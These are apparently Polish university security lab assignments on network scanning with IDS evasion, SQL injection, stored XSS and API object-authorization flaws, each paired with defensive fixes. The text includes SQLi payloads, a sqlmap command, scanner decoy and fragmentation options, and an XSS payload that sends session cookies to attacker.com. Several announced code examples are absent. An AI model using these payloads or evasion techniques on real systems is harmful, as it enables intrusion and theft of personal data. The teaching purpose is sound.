Laboratorium 2

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon4 Bezpieczeństwo protokołów komunikacyjnych i sieci komputerowych. Skanowanie i identyfikacja usług.

Celem zadania jest przeprowadzenie metodycznego rekonesansu sieciowego i zmapowanie powierzchni ataku zewnętrznego (Attack Surface Mapping) wielooddziałowej korporacji zgodnie ze standardem PTES (Penetration Testing Execution Standard) oraz wytycznymi OSSTMM. Studenci poznają zaawansowane techniki skanowania portów (SYN stealth scan, FIN/NULL/Xmas scan, IP fragmentation), wykrywania systemów operacyjnych oraz wersjonowania usług za pomocą narzędzi Nmap i masscan. Projekt uczy odróżniania pasywnego zbierania informacji (OSINT) od aktywnego skanowania oraz zachowania ścisłych reguł zaangażowania (Rules of Engagement - RoE).

W części analitycznej studenci badają mechanizmy unikania detekcji przez systemy wykrywania i zapobiegania intruzom (IDS/IPS, np. Snort/Suricata), modelują zachowanie zapór sieciowych oraz analizują wpływ parametrów czasowych (Nmap timing templates T0-T5) na prawdopodobieństwo wykrycia. Zwieńczeniem zadania jest formalny rejestr aktywów sieciowych i otwarta matryca usług.

Polska Grupa Przemysłowa KGHTech S.A. zarządza rozproszoną infrastrukturą obejmującą trzy huty, centralę w Katowicach oraz centrum badawczo-rozwojowe. Do publicznego Internetu wystawiona jest cała klasa adresowa IPv4 (/24), w której znajdują się serwery pocztowe, portale pracownicze, routery brzegowe VPN oraz interfejsy zarządzające systemów SCADA. W ramach przygotowań do certyfikacji ISO/IEC 27001 zarząd zlecił audytorom wykonanie zewnętrznego audytu podatności.

Wstępna analiza wykazała, że administratorzy przez lata dopuszczali do powstawania tzw. cienia IT (Shadow IT) – nieudokumentowanych instalacji serwerów deweloperskich, testowych instancji baz danych oraz zapomnianych urządzeń sieciowych z otwartymi portami telnet i starymi wersjami SSH. Brak jednolitej inwentaryzacji powierzchni ataku uniemożliwiał skuteczne zarządzanie podatnościami.

Dodatkowo na brzegu sieci KGHTech zainstalowano system IDS Suricata, którego zadaniem jest wykrywanie agresywnych skanerów podatności. Zespół audytorski ma za zadanie przeprowadzić pełen audyt adresacji bez wywoływania fałszywych alarmów blokujących ruch biznesowy oraz zidentyfikować wszystkie aktywne usługi i ich wersje.

Grupa laboratoryjna przyjmuje rolę etycznych hackerów (White Hat). Studenci muszą zaplanować i zrealizować wieloetapowy rekonesans: od pasywnego OSINT (rejestry WHOIS, certyfikaty CT, wyszukiwanie w dnsdumpster/Amass), przez szybkie skanowanie wielowątkowe (masscan z ograniczeniem pasma), aż po precyzyjne skanowanie skryptami Nmap NSE (Nmap Scripting Engine) ukierunkowane na wykrycie podatności CVE.

Sprawozdanie musi zawierać kompletną matrycę zidentyfikowanych portów, wersje oprogramowania, wykryte niebezpieczne usługi (np. Telnet, SMBv1, niezaszyfrowane panele www) oraz zalecenia dotyczące utwardzenia reguł zapory ogniowej (Firewall Filtering).

• Kali Linux z narzędziami Nmap 7.9x, masscan, amap
• Narzędzia pasywnego rekonesansu: whois, dig, theHarvester, sublist3r
• System wykrywania intruzów Suricata / Snort w środowisku testowym
• Wireshark do analizy sygnatur pakietów skanujących (flagi TCP, rozmiary okna, fragmentacja)
• Narzędzie EyeWitness do automatycznego zrzucania stron wykrytych usług HTTP/HTTPS

1. Określenie zakresu audytu i formalnych reguł zaangażowania (Rules of Engagement - RoE) zgodnie z polskim Kodeksem Karnym (art. 267 i 268 k.k.).
2. Przeprowadzenie pasywnego rekonesansu domenowego i adresowego za pomocą whois, certspotter oraz rekordów DNS (SOA, MX, TXT).
3. Wykorzystanie narzędzia masscan do szybkiego wykrycia aktywnych hostów w podsieci z limitem przepustowości --rate 100.
4. Wykonanie skanowania półotwartego TCP SYN (Nmap -sS) z opcją weryfikacji wersji usług (-sV --version-intensity 7).
5. Zastosowanie szablonów czasowych (timing templates): porównanie profilu T2 (polite) i T4 (aggressive) pod kątem generowanego ruchu.
6. Przetestowanie technik unikania detekcji zapory: fragmentacja pakietów MTU (opcja -f / --mtu 16) oraz fałszowanie źródłowych portów (--source-port 53).
7. Wykorzystanie fałszywych adresów pozorujących (Decoy Scanning -D RND:5) w celu utrudnienia analizy logów administratorowi.
8. Uruchomienie skanowania skryptami kategorii discovery i vuln z biblioteki Nmap Scripting Engine (NSE).
9. Identyfikacja potencjalnie podatnych usług: przestarzałe demony OpenSSH, Apache HTTPD, serwery FTP z anonimowym dostępem.
10. Skanowanie portów UDP (DNS, NTP, SNMP) z użyciem Nmap -sU --top-ports 20 w celu wykrycia podatności na ataki amplifikacyjne.
11. Wykrycie niebezpiecznej konfiguracji SNMP z domyślnym ciągiem społecznościowym 'public' za pomocą skryptu snmp-info.
12. Zrzut nagłówków banerów powitalnych (Banner Grabbing) za pomocą netcat / amap w celu potwierdzenia wyników Nmapa.
13. Weryfikacja logów systemowych Suricata pod kątem wykrytych sygnatur skanowania (GPL SCAN nmap, ET SCAN).
14. Sporządzenie formalnego rejestru aktywów: adres IP, nazwa FQDN, otwarte porty, nazwa usługi, wersja, podatności CVE.
15. Opracowanie zaleceń obronnych: zamknięcie zbędnych portów, zmiana domyślnych portów administracyjnych, wdrożenie Port Knocking.
16. Przygotowanie sprawozdania z analizą zrzutów z Wiresharka dokumentujących flagi TCP generowane podczas skanowania.
17. Sformułowanie wniosków inżynierskich dotyczących skuteczności mechanizmów maskowania skanowania przed współczesnymi systemami IDS.

Podczas przeprowadzania skanowania w środowiskach produkcyjnych kluczowe jest kontrolowanie agresywności skanera. Zbyt wysoka wartość pakietów na sekundę (--rate w masscan lub -T5 w Nmap) może doprowadzić do wyczerpania tablicy stanów routerów brzegowych (State Table Exhaustion) i wywołać niezamierzoną odmowę usługi (DoS).

Poniżej przedstawiono przykładowe polecenia zaawansowanego skanowania Nmap z maskowaniem, fragmentacją i wersjonowaniem usług:

Wykorzystanie skryptów NSE do precyzyjnej weryfikacji podatności na błąd negocjacji SMB (EternalBlue CVE-2017-0144):

Szybkie wykrywanie aktywnych portów w podsieci za pomocą masscan z kontrolą przepustowości:

1. Zastosowanie technik skanowania o wysokiej przepustowości (Masscan) w połączeniu z precyzyjnym profilowaniem usług (Nmap -sV -sC).
2. Rola skryptów automatyzujących NSE (Nmap Scripting Engine) w wykrywaniu znanych luk CVE bez uruchamiania inwazyjnych exploitów.
3. Metody omijania i detekcji systemów IDS/IPS (fragmentacja pakietów, zmienne czasy opóźnień timing templates, fałszowanie adresów decoy).
4. Analiza legalności skanowania portów w świetle art. 267 Kodeksu karnego i granice wyznaczone w dokumencie Rules of Engagement (RoE).
5. Identyfikacja nieautoryzowanych usług i cieni IT (Shadow IT) w złożonych infrastrukturach wielooddziałowych.
6. Priorytetyzacja podatności na podstawie publicznych baz NVD oraz wskaźników bazowych CVSS v3.1.

Przykładowe wnioski (wzór do sprawozdania): Połączenie wielowątkowego skanowania narzędziem Masscan z dogłębną analizą skryptami Nmap NSE pozwoliło na błyskawiczne i precyzyjne zmapowanie powierzchni ataku korporacyjnej sieci przedsiębiorstwa. Zastosowanie technik profilowania usług wykazało obecność przestarzałych daemów z publicznie znanymi podatnościami RCE, które nie były uwzględnione w oficjalnej ewidencji zasobów IT. Eksperymenty z parametrami czasowymi (Timing Templates T2/T3) dowiodły, że odpowiednie spowolnienie tempa badania pozwala na skuteczne ominięcie prostych progów alarmowych systemów IPS. Sporządzenie matrycy ryzyka w oparciu o punktację CVSS v3.1 umożliwiło kadrze zarządzającej natychmiastowe skierowanie środków na załatanie najbardziej krytycznych usług brzegowych. Realizacja ćwiczenia w ścisłych granicach formalnego upoważnienia (RoE) potwierdziła, że profesjonalny rekonesans techniczny jest niezbędnym fundamentem każdego dojrzałego audytu cyberbezpieczeństwa.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon2 Warunki zapewnienia poufności i integralności informacji. Podatności aplikacji internetowych OWASP Top 10.

Celem zadania jest przeprowadzenie kontrolowanego audytu bezpieczeństwa aplikacji webowej pod kątem podatności na wstrzykiwanie kodu SQL (SQL Injection - SQLi) w środowisku testowym (np. DVWA, bWAPP, Juice Shop) zgodnie z metodyką OWASP Web Security Testing Guide (WSTG). Studenci badają mechanizmy działania trzech podstawowych klas ataków SQLi: In-band SQLi (Error-based, UNION-based), Inferential SQLi (Boolean-based blind, Time-based blind) oraz Out-of-band SQLi. Projekt analizuje proces ekstrakcji schematu bazy danych, łamania skrótów haseł oraz potencjalnego eskalowania uprawnień do poziomu systemu operacyjnego (xp_cmdshell / INTO OUTFILE).

W części defensywnej zadanie kładzie nacisk na konstrukcję i weryfikację skuteczności środków zaradczych: implementację zapytań parametryzowanych (Prepared Statements / Parameterized Queries), mapowania obiektowo-relacyjnego (ORM) oraz konfigurację reguł zapory aplikacji internetowych (WAF ModSecurity / OWASP Core Rule Set).

Sklep internetowy HurtPol Części Samochodowe Sp. z o.o. obsługuje zamówienia hurtowe dla warsztatów mechanicznych w całej Polsce. W panelu wyszukiwania katalogu produktów oraz w formularzu logowania dla partnerów B2B zastosowano dynamicznie budowane zapytania SQL w języku PHP z bezpośrednim doklejaniem ciągów znaków wprowadzanych przez użytkownika ($sql = 'SELECT * FROM produkty WHERE nazwa = \'' . $_GET['szukaj'] . '\'').

Podczas rutynowej analizy logów serwera WWW Apache administrator zauważył serię nietypowych zapytań HTTP zawierających znaki cudzysłowu, komentarzy SQL (--) oraz funkcje SLEEP(5). Okazało się, że zautomatyzowane boty skanujące wykryły podatność Blind SQL Injection w module filtrowania cen, co umożliwiło nieznanym sprawcom powolną, lecz skuteczną ekstrakcję tabeli uzytkownicy zawierającej imiona, nazwiska, adresy NIP, skróty haseł oraz adresy e-mail ponad 4000 klientów.

Zarząd HurtPol zlecił audytorom pilne przeprowadzenie testów penetracyjnych typu Grey-Box w celu zmapowania wszystkich podatnych punktów wejścia aplikacji, wykazania realnego wpływu podatności (Proof of Concept) oraz zaimplementowania twardych zabezpieczeń programistycznych i sieciowych.

Grupa laboratoryjna musi zidentyfikować podatne parametry, zademonstrować manualną eksploatację UNION SQLi w celu wyciągnięcia wersji bazy danych i listy tabel, a następnie wykorzystać darmowe narzędzie sqlmap w trybie kontrolowanym (audytorskim) do zbadania stopnia podatności środowiska.

W części naprawczej studenci muszą przepisać podatny kod aplikacji na bezpieczne zapytania parametryzowane z użyciem biblioteki PHP PDO oraz wdrożyć reguły zapory ModSecurity blokujące znane wektory ataków SQL Injection.

• Środowisko podatne: DVWA (Damn Vulnerable Web Application) / bWAPP / OWASP Juice Shop
• Narzędzie sqlmap – darmowy skaner i audytor podatności SQL Injection
• Burp Suite Community Edition / OWASP ZAP do przechwytywania i modyfikacji żądań HTTP
• Serwer WWW Apache / Nginx z modułem ModSecurity v3 oraz zestawem reguł OWASP CRS
• Baza danych MariaDB / PostgreSQL w kontenerze Docker

1. Zbadanie architektury aplikacji i identyfikacja punktów wejścia przyjmujących parametry od użytkownika (GET, POST, nagłówki Cookie, User-Agent).
2. Przeprowadzenie testów manualnych za pomocą pojedynczych znaków specjalnych: ', ", --, /*, OR 1=1-- w polu wyszukiwania.
3. Analiza komunikatów błędów bazy danych (Error-based SQLi) ujawniających strukturę zapytania.
4. Wyznaczenie liczby kolumn zwracanych przez podatne zapytanie za pomocą techniki ORDER BY n-- -.
5. Ustalenie typów danych kolumn za pomocą klauzuli UNION SELECT NULL, NULL, ...-- -.
6. Praktyczna demonstracja ataku UNION-based: wyciągnięcie nazwy bazy (database()), wersji serwera (version()) i bieżącego użytkownika (user()).
7. Zbadanie podatności na ślepe wstrzykiwanie oparte na czasie (Time-based blind) za pomocą ładunku ' OR SLEEP(5)-- -.
8. Wykorzystanie narzędzia Burp Suite Repeater do precyzyjnego kontrolowania i powtarzania zmodyfikowanych żądań HTTP.
9. Uruchomienie narzędzia sqlmap w trybie audytorskim: sqlmap -u 'http://target/item.php?id=1' --batch --banner.
10. Wyliczenie struktury bazodanowej za pomocą sqlmap: pobranie listy baz (--dbs) oraz tabel (--tables).
11. Ocena ryzyka biznesowego i technicznego podatności według kalkulatora CVSS v3.1 (wektor CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
12. Opracowanie bezpiecznego wzorca programistycznego: przepisanie zapytań dynamicznych na zapytania parametryzowane (Prepared Statements) w PHP PDO.
13. Wdrożenie silnego typowania danych wejściowych (castowanie intval() dla identyfikatorów numerycznych).
14. Konfiguracja reguł OWASP Core Rule Set (CRS) w module ModSecurity na serwerze Apache.
15. Powtórzenie ataku SQLi po wdrożeniu zabezpieczeń i weryfikacja odpowiedzi serwera (kod 403 Forbidden z WAF).
16. Sformułowanie zaleceń dotyczących minimalizacji uprawnień konta bazy danych (zasada PoLP – brak uprawnień FILE, GRANT).
17. Zredagowanie sprawozdania technicznego z wykazem podatności, zrzutami ekranu PoC i kodem bezpiecznych zapytań.

Nigdy nie polegaj na filtrowaniu danych wejściowych opartym na czarnych listach (Blacklisting) słów kluczowych takich jak 'SELECT' czy 'UNION'. Doświadczeni napastnicy z łatwością omijają czarne listy za pomocą przeplotu wielkości liter (sElEcT), komentarzy inline (UN/**/ION) lub kodowania URL/Hex. Jedynym stuprocentowo skutecznym środkiem obrony są zapytania parametryzowane (Prepared Statements).

Poniżej przedstawiono porównanie podatnego kodu PHP oraz bezpiecznej implementacji z wykorzystaniem zapytań parametryzowanych PDO:

Manualna demonstracja ataku UNION-based wstrzykniętego w parametr GET za pomocą curl:

Weryfikacja blokady ataku przez WAF ModSecurity z zestawem reguł OWASP CRS:

1. Klasyfikacja podatności SQL Injection: In-band (Union-based, Error-based), Blind (Boolean-based, Time-based) oraz Out-of-Band (OOB).
2. Ręczna konstrukcja i wstrzykiwanie payloadów testowych w celu obejścia filtrów wejściowych (WAF Bypassing, kodowanie URL/Hex).
3. Zastosowanie narzędzia sqlmap do automatyzacji detekcji i kontrolowanej eksfiltracji schematu bazy danych.
4. Ryzyko eskalacji uprawnień z poziomu bazy danych do powłoki systemu operacyjnego (funkcje xp_cmdshell w MSSQL, sys_exec w MySQL, INTO OUTFILE).
5. Metody mitygacji: bezwzględne stosowanie zapytań parametryzowanych (Prepared Statements) oraz technologii ORM.
6. Ograniczenie uprawnień konta serwisowego bazy danych w myśl zasady Least Privilege w celu minimalizacji skutków udanej injekcji.

Przykładowe wnioski (wzór do sprawozdania): Przeprowadzony audyt bezpieczeństwa formularza wyszukiwania ujawnił obecność krytycznej podatności SQL Injection typu Time-based Blind, wynikającej z bezpośredniego łączenia zmiennych wejściowych w zapytaniu bazy danych. Zastosowanie narzędzia sqlmap umożliwiło odtworzenie pełnej struktury tabel oraz wykazanie, że aplikacja webowa łączy się z bazą danych na prawach konta administracyjnego 'dba'. Wykazano, że błąd ten w połączeniu z funkcją zapisu do plików mógłby pozwolić napastnikowi na wgranie web shella i całkowite przejęcie kontroli nad serwerem aplikacji. Zastąpienie dynamicznie konstruowanych zapytań mechanizmem sparametryzowanych Prepared Statements całkowicie wyeliminowało podatność, uniemożliwiając zmianę logiki poleceń SQL przez jakiekolwiek znaki ucieczki. Wyniki zadania dobitnie potwierdzają zalecenia OWASP Top 10, wskazujące walidację typów danych i parametryzację jako jedyne skuteczne tarcze przed atakami wstrzykiwania kodu.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon2 Warunki zapewnienia poufności i autentyczności informacji. Bezpieczeństwo skryptów po stronie klienta.

Celem zadania jest przeprowadzenie audytu bezpieczeństwa aplikacji internetowej pod kątem podatności na wstrzykiwanie skryptów po stronie klienta (Cross-Site Scripting - XSS) oraz wdrożenie kompleksowej architektury obronnej. Studenci analizują mechanizmy powstawania i eksploatacji trzech wariantów podatności: Reflected XSS (odbity), Stored XSS (trwały / składowany w bazie) oraz DOM-based XSS. W ramach ćwiczenia badane są wektory kradzieży ciasteczek sesyjnych (Session Hijacking), fałszowania zawartości strony (Virtual Defacement) oraz wymuszania nieautoryzowanych akcji w imieniu użytkownika.

W części naprawczej studenci wdrażają zaawansowane mechanizmy obronne: kodowanie kontekstowe danych wyjściowych (Context-Aware Output Encoding), flagi bezpieczeństwa ciasteczek (HttpOnly, Secure, SameSite=Strict) oraz konstruują restrykcyjną politykę Content Security Policy (CSP Level 3) z użyciem unikalnych kryptograficznych wartości 'nonce' i hashy SHA-256.

Miejski Portal Konsultacji Społecznych 'Nasz Kraków' umożliwia mieszkańcom zgłaszanie projektów budżetu obywatelskiego, dyskutowanie na forach oraz głosowanie z użyciem profilu zaufanego. Aplikacja została napisana w języku JavaScript (Node.js/Express) z renderowaniem szablonów po stronie serwera oraz elementami dynamicznymi w React.

W trakcie konsultacji społecznych dotyczących nowej linii tramwajowej jeden z użytkowników opublikował w komentarzu sformatowany kod HTML zawierający złośliwy ładunek JavaScript ukryty w tagu SVG (<svg onload="fetch('http://attacker.com/steal?cookie='+document.cookie)">). Skrypt został zapisany w bazie danych bez jakiejkolwiek sanityzacji (Stored XSS). Każdy urzędnik i mieszkaniec otwierający stronę konsultacji nieświadomie wykonywał złośliwy kod w kontekście swojej przeglądarki.

W efekcie ataku doszło do przejęcia aktywnych tokenów sesyjnych administratorów portalu, co umożliwiło napastnikowi podmianę wyników głosowania na projekty obywatelskie oraz umieszczenie na stronie głównej fałszywych komunikatów urzędowych (defacement). Ponieważ ciasteczka sesyjne nie miały ustawionej flagi HttpOnly, a nagłówek Content-Security-Policy nie był zaimplementowany, przeglądarki bez przeszkód zrealizowały złośliwe żądanie do zewnętrznego serwera.

Prezydent miasta nakazał natychmiastowe wstrzymanie głosowania i powołał niezależny zespół audytorów (grupę laboratoryjną) w celu zbadania podatności, zidentyfikowania wszystkich wektorów XSS i opracowania standardu kodowania oraz konfiguracji nagłówków HTTP.

Zadaniem studentów jest odtworzenie scenariusza ataku w środowisku testowym (PoC kradzieży ciasteczek i demonstracja odczytu DOM), wdrożenie automatycznego kodowania kontekstowego za pomocą biblioteki DOMPurify oraz zaprojektowanie rygorystycznego nagłówka CSP uniemożliwiającego wykonanie niesprawdzonego kodu JavaScript.

• Środowisko podatne: DVWA / bWAPP / OWASP Juice Shop lub lokalna aplikacja Node.js/Express
• Przeglądarka internetowa z narzędziami deweloperskimi DevTools (Konsola, Sieć, Pamięć podręczna)
• Burp Suite Community Edition do przechwytywania i modyfikowania odpowiedzi serwera
• Biblioteka sanityzacji DOMPurify / he.js w środowisku JavaScript
• Testery i analizatory nagłówków CSP: Google CSP Evaluator, securityheaders.com

1. Zidentyfikowanie formularzy i parametrów aplikacji przyjmujących dane wprowadzane przez użytkownika.
2. Testowanie podatności Reflected XSS za pomocą nieszkodliwych ładunków sondujących (np. <script>console.log('test')</script>).
3. Ominięcie prostych filtrów czarnych list: użycie zdarzeń onload/onerror w tagach <img>, <svg>, <body>.
4. Zbadanie podatności Stored XSS w sekcji komentarzy i recenzji (trwały zapis w bazie danych).
5. Zbudowanie ładunku Proof of Concept demonstrującego odczyt ciasteczek sesyjnych (document.cookie).
6. Analiza zabezpieczenia ciasteczek: zbadanie braku flagi HttpOnly za pomocą narzędzi DevTools -> Application -> Cookies.
7. Skonfigurowanie serwera w celu nadawania ciasteczkom sesyjnym atrybutów: HttpOnly; Secure; SameSite=Strict.
8. Weryfikacja zachowania przeglądarki po włączeniu flagi HttpOnly (brak dostępu do ciasteczka z poziomu document.cookie).
9. Zaimplementowanie biblioteki sanityzującej DOMPurify po stronie klienta i serwera przed renderowaniem kodu HTML.
10. Zbadanie założeń nagłówka Content Security Policy (CSP Level 3) i dyrektyw default-src, script-src, style-src, connect-src.
11. Opracowanie nagłówka CSP z wykorzystaniem kryptograficznej wartości jednorazowej nonce: script-src 'nonce-R4nd0mStr1ng'.
12. Zablokowanie możliwości wykonywania kodu inline (brak 'unsafe-inline') oraz ładowania skryptów z obcych domen.
13. Wdrożenie dyrektywy frame-ancestors 'none' w celu ochrony przed atakami Clickjacking.
14. Skonfigurowanie mechanizmu raportowania naruszeń CSP (report-uri / report-to) w celu logowania prób ataków.
15. Przetestowanie polityki CSP za pomocą narzędzia Google CSP Evaluator i wyeliminowanie luk w regułach.
16. Powtórzenie ataków XSS i udokumentowanie komunikatów przeglądarki odrzucających wykonanie zablokowanych skryptów.
17. Sformułowanie zaleceń audytorskich dla deweloperów i sporządzenie sprawozdania laboratoryjnego.

Content Security Policy (CSP) jest potężnym mechanizmem obrony w głąb (Defense in Depth). Nawet jeśli programista popełni błąd i dopuści do wstrzyknięcia tagu <script> do kodu HTML, restrykcyjna polityka CSP zabroni przeglądarce wykonania tego kodu, jeśli nie posiada on prawidłowej, wygenerowanej kryptograficznie wartości 'nonce' pasującej do nagłówka odpowiedzi HTTP.

Poniżej przedstawiono przykładową implementację nagłówka CSP w serwerze Nginx z dynamicznym generowaniem wartości nonce i wymuszeniem flag ciasteczek:

Próba wykonania wstrzykniętego skryptu XSS w przeglądarce kończy się natychmiastowym zablokowaniem przez mechanizm CSP:

Sanityzacja kodu HTML przed wstrzyknięciem do drzewa DOM za pomocą biblioteki DOMPurify w JavaScript:

1. Mechanizmy działania i wektory ataku trzech podstawowych typów XSS: Stored (trwały), Reflected (odbity) oraz DOM-based.
2. Skutki udanego ataku XSS: kradzież ciasteczek sesyjnych, przejęcie konta użytkownika (Session Hijacking), fałszowanie treści strony i ataki socjotechniczne.
3. Rola bezpiecznych atrybutów ciasteczek: flaga `HttpOnly` uniemożliwiająca odczyt tokenu sesji przez skrypty JavaScript (document.cookie).
4. Projektowanie i wdrażanie rygorystycznej polityki Content Security Policy (CSP) z wykorzystaniem dyrektyw script-src, nonce oraz hash.
5. Techniki kodowania danych wyjściowych (Context-Aware Output Encoding) dopasowane do kontekstu HTML, JavaScript, CSS i atrybutów.
6. Wykorzystanie darmowych narzędzi i frameworków bezpieczeństwa (DOMPurify) do sanatyzacji kodu HTML wprowadzanego przez użytkowników.

Przykładowe wnioski (wzór do sprawozdania): W toku testów penetracyjnych zidentyfikowano podatność Stored XSS w module komentarzy, która pozwalała na wstrzyknięcie złośliwego kodu JavaScript wykonującego się w przeglądarkach wszystkich zalogowanych użytkowników serwisu. Demonstracja przejęcia sesji udowodniła, że brak flagi 'HttpOnly' w ciasteczkach uwierzytelniających umożliwia natychmiastową kradzież tożsamości administratora za pomocą zaledwie jednej linijki kodu JS. Wdrożenie rygorystycznego nagłówka Content Security Policy (CSP) z losowymi kryptograficznymi wartościami 'nonce' dla dozwolonych skryptów skutecznie zablokowało wykonywanie wstrzykniętych payloadów inline. Zastosowanie biblioteki DOMPurify oraz kodowania znaków ucieczki zależnego od kontekstu (Context-Aware Encoding) zabezpieczyło aplikację przed atakami opartymi na manipulacji drzewem DOM. Zadanie wykazało, że skuteczna ochrona przed XSS wymaga zastosowania obrony wielowarstwowej: od poprawnej konstrukcji kodu aplikacji po restrykcyjne nagłówki bezpieczeństwa HTTP.

Kon1 Rodzaje i źródła zagrożeń dla systemów teleinformatycznych. Metody i środki ochrony. Kon3 Autoryzacja i uwierzytelnianie w systemach komputerowych. Bezpieczeństwo interfejsów API.

Celem zadania jest przeprowadzenie audytu bezpieczeństwa interfejsów programistycznych REST API pod kątem podatności autoryzacji obiektowej BOLA (Broken Object Level Authorization), znanej tradycyjnie jako IDOR (Insecure Direct Object References) – zajmującej pierwsze miejsce na liście OWASP API Security Top 10. Studenci poznają mechanizmy horyzontalnej i wertykalnej eskalacji uprawnień w komunikacji API, badając aplikacje mobilne i webowe operujące na formacie JSON. Projekt obejmuje analizę podatności polegającej na podmianie identyfikatorów zasobów w żądaniach HTTP bez weryfikacji tożsamości właściciela obiektu.

W części obronnej zadanie wymaga zaimplementowania kryptograficznych zabezpieczeń po stronie serwera aplikacji: przejścia z sekwencyjnych identyfikatorów całkowitoliczbowych na losowe identyfikatory UUID v4, wdrożenia weryfikacji kontekstu właściciela zasobu (Resource Ownership Verification) oraz zabezpieczenia komunikacji za pomocą asymetrycznie podpisywanych tokenów JSON Web Tokens (JWT) z krótkim czasem życia i rotacją kluczy.

Aplikacja mobilna 'MedikApp' umożliwia pacjentom sieci prywatnych przychodni umawianie wizyt lekarskich, odbieranie wyników badań laboratoryjnych oraz pobieranie recept i zwolnień lekarskich ZUS ZLA. Komunikacja pomiędzy aplikacją na smartfonie a serwerem backendowym odbywa się za pośrednictwem interfejsu REST API (/api/v1/badania/{id}/wynik).

Podczas rutynowego badania aplikacji przez entuzjastę bezpieczeństwa zidentyfikowano krytyczną podatność BOLA/IDOR. Zalogowany pacjent, po odebraniu własnego wyniku badania (GET /api/v1/badania/10492/wynik), podmienił w przechwyconym za pomocą proxy Burp Suite żądaniu identyfikator na numer 10491. Serwer bez jakiejkolwiek weryfikacji uprawnień zwrócił pełną dokumentację medyczną innego pacjenta, zawierającą imię, nazwisko, numer PESEL oraz wrażliwe wyniki badań histopatologicznych.

Co gorsza, identyfikatory w bazie danych były zwykłymi liczbami całkowitymi generowanymi sekwencyjnie (Auto-Increment). Napastnik, pisząc prosty skrypt w Pythonie iterujący po identyfikatorach od 1 do 50 000, był w stanie pobrać bazę wyników badań wszystkich pacjentów przychodni z ostatnich 5 lat. Sprawa wywołała natychmiastowe zawiadomienie Prezesa UODO i wszczęcie postępowania karnego.

Zarząd sieci medycznej zlecił audytorom (grupie laboratoryjnej) przeprowadzenie pełnych testów bezpieczeństwa całego interfejsu API zgodnie z wytycznymi OWASP API Security Project, zademonstrowanie ataku na środowisku testowym oraz zaprojektowanie i wdrożenie mechanizmów uniemożliwiających nieautoryzowany dostęp do cudzych obiektów.

Zespół musi zaimplementować bezpieczną warstwę autoryzacji weryfikującą tożsamość pacjenta zakodowaną w tokenie JWT z identyfikatorem pacjenta przypisanym do danego rekordu medycznego w bazie danych, zastąpić identyfikatory liczbowe unikalnymi kryptograficznie identyfikatorami UUID v4 oraz wdrożyć limitowanie zapytań (Rate Limiting).

• Narzędzie Burp Suite Community Edition / OWASP ZAP z modułem Repeater i Intruder
• Narzędzie cURL oraz skrypty Python (moduł requests) do zautomatyzowanego testowania endpointów
• Postman – darmowe narzędzie do testowania i dokumentowania interfejsów API
• Aplikacja backendowa Node.js/Express lub Python/Flask w kontenerze Docker
• jwt.io – darmowy analizator i debugger tokenów JSON Web Token

1. Zmapowanie endpointów REST API aplikacji MedikApp na podstawie dokumentacji OpenAPI / Swagger.
2. Skonfigurowanie przeglądarki lub klienta HTTP do przekierowywania ruchu przez proxy Burp Suite.
3. Zarejestrowanie dwóch kont testowych: Użytkownik A (pacjent 1) oraz Użytkownik B (pacjent 2).
4. Przechwycenie poprawnego żądania pobrania wyniku badania dla Użytkownika A.
5. Wysłanie żądania do modułu Burp Repeater i podmienienie nagłówka autoryzacyjnego na token Użytkownika B.
6. Zaobserwowanie odpowiedzi serwera: weryfikacja występowania podatności BOLA (zwrócenie danych pacjenta A przy użyciu poświadczeń pacjenta B).
7. Przygotowanie skryptu w języku Python automatyzującego ekstrakcję danych z sekwencyjnych identyfikatorów (PoC).
8. Ocena powagi luki w kalkulatorze CVSS v3.1 (wektor CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Ocena 6.5 Medium / High).
9. Zaprojektowanie bezpiecznej metody autoryzacji obiektowej: SELECT * FROM badania WHERE id = :badanieId AND pacjent_id = :zalogowanyPacjentId.
10. Wdrożenie identyfikatorów UUID v4 (np. f47ac10b-58cc-4372-a567-0e02b2c3d479) zamiast przewidywalnych sekwencji int.
11. Implementacja middleware weryfikacji uprawnień do obiektu (Object Ownership Middleware) przed wywołaniem kontrolera biznesowego.
12. Zabezpieczenie tokenów JWT: wymuszenie silnego algorytmu asymetrycznego RS256 / ES256 zamiast symetrycznego HS256.
13. Konfiguracja mechanizmu ochrony przed atakami brute-force i scrapingu za pomocą modułu express-rate-limit.
14. Przetestowanie działania zabezpieczeń po wdrożeniu poprawek (weryfikacja kodu błędu HTTP 403 Forbidden / 404 Not Found).
15. Opracowanie matrycy testów automatycznych API (Security Regression Testing) w środowisku Postman / Newman.
16. Zaprojektowanie logowania prób nieautoryzowanego dostępu do cudzych zasobów z alarmowaniem do systemu SIEM.
17. Sporządzenie raportu z testów penetracyjnych API wraz z rekomendacjami programistycznymi.

Wiele zespołów deweloperskich błędnie uważa, że samo zastąpienie identyfikatorów całkowitych liczbami losowymi UUID całkowicie rozwiązuje problem BOLA. Jest to nieprawda – utrudnia to jedynie skanowanie na oślep (Security through Obscurity). Prawdziwym rozwiązaniem jest bezwzględna weryfikacja w warstwie logiki biznesowej, czy zalogowany użytkownik (identyfikowany przez zaufany token JWT) jest uprawnionym właścicielem żądanego obiektu.

Poniżej przedstawiono implementację bezpiecznego kontrolera API w języku Node.js/Express weryfikującego własność zasobu:

Demonstracja próby nieautoryzowanego dostępu do cudzego wyniku badania za pomocą polecenia cURL:

Weryfikacja zawartości i poprawności podpisu kryptograficznego tokena JWT za pomocą OpenSSL / jq:

1. Zrozumienie mechanizmu powstawania luk BOLA (Broken Object Level Authorization) / IDOR (Insecure Direct Object References) w nowoczesnych interfejsach REST API.
2. Metodyka testowania uprawnień horyzontalnych (dostęp do danych innego użytkownika na tym samym poziomie) i wertykalnych (eskalacja do funkcji administratora).
3. Zastosowanie narzędzi proxy przechwytujących (OWASP ZAP, Burp Suite, mitmproxy) do manipulacji identyfikatorami zasobów w żądaniach HTTP.
4. Zastąpienie przewidywalnych sekwencyjnych identyfikatorów numerycznych (Auto-increment ID) przez losowe identyfikatory UUID v4.
5. Implementacja niezależnej weryfikacji uprawnień na poziomie warstwy logiki biznesowej przy każdym wywołaniu metody kontrolera API.
6. Wymogi rozliczalności i ograniczenia ryzyka wycieku danych klientów w kontekście wytycznych OWASP API Security Top 10.

